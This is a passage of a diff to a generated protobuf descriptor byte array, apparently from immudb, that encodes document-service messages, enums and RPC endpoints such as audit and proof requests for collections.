0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, - 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, 0x0a, 0x08, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x3a, 0x2d, 0x92, 0x41, 0x2a, 0x0a, 0x28, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, - 0x22, 0x3d, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x3a, 0x0f, - 0x92, 0x41, 0x0c, 0x0a, 0x0a, 0xd2, 0x01, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x22, - 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, - 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x22, 0x3d, 0x0a, 0x16, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, - 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x63, 0x6f, 0x75, - 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x63, 0x6f, 0x75, 0x6e, - 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, - 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, - 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x3c, 0x92, 0x41, 0x39, 0x0a, 0x37, 0xd2, 0x01, 0x0e, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, - 0x73, 0x63, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, - 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x11, 0x92, - 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0x8d, 0x02, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, + 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x3c, 0x92, 0x41, 0x39, 0x0a, 0x37, 0xd2, + 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, + 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, + 0x64, 0x65, 0x73, 0x63, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, + 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, + 0x11, 0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x73, 0x22, 0x8d, 0x02, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, + 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, + 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x3a, 0x4d, 0x92, 0x41, 0x4a, 0x0a, 0x48, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x3a, 0x4d, 0x92, 0x41, 0x4a, 0x0a, 0x48, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x22, 0xce, 0x02, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, - 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x3a, 0x56, 0x92, 0x41, 0x53, 0x0a, 0x51, - 0xd2, 0x01, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0xd2, 0x01, 0x0c, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, - 0xd2, 0x01, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0xd2, 0x01, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, - 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, - 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, - 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, - 0x12, 0x08, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x10, 0x04, 0x2a, 0x5c, 0x0a, 0x12, 0x43, 0x6f, - 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, - 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, - 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, - 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, 0x08, 0x4e, 0x4f, - 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xd0, 0x11, 0x0a, 0x0f, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x8e, 0x01, 0x0a, - 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x7f, 0x0a, - 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, - 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x82, - 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x14, 0x12, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, - 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x1a, - 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, - 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, - 0x2a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, - 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 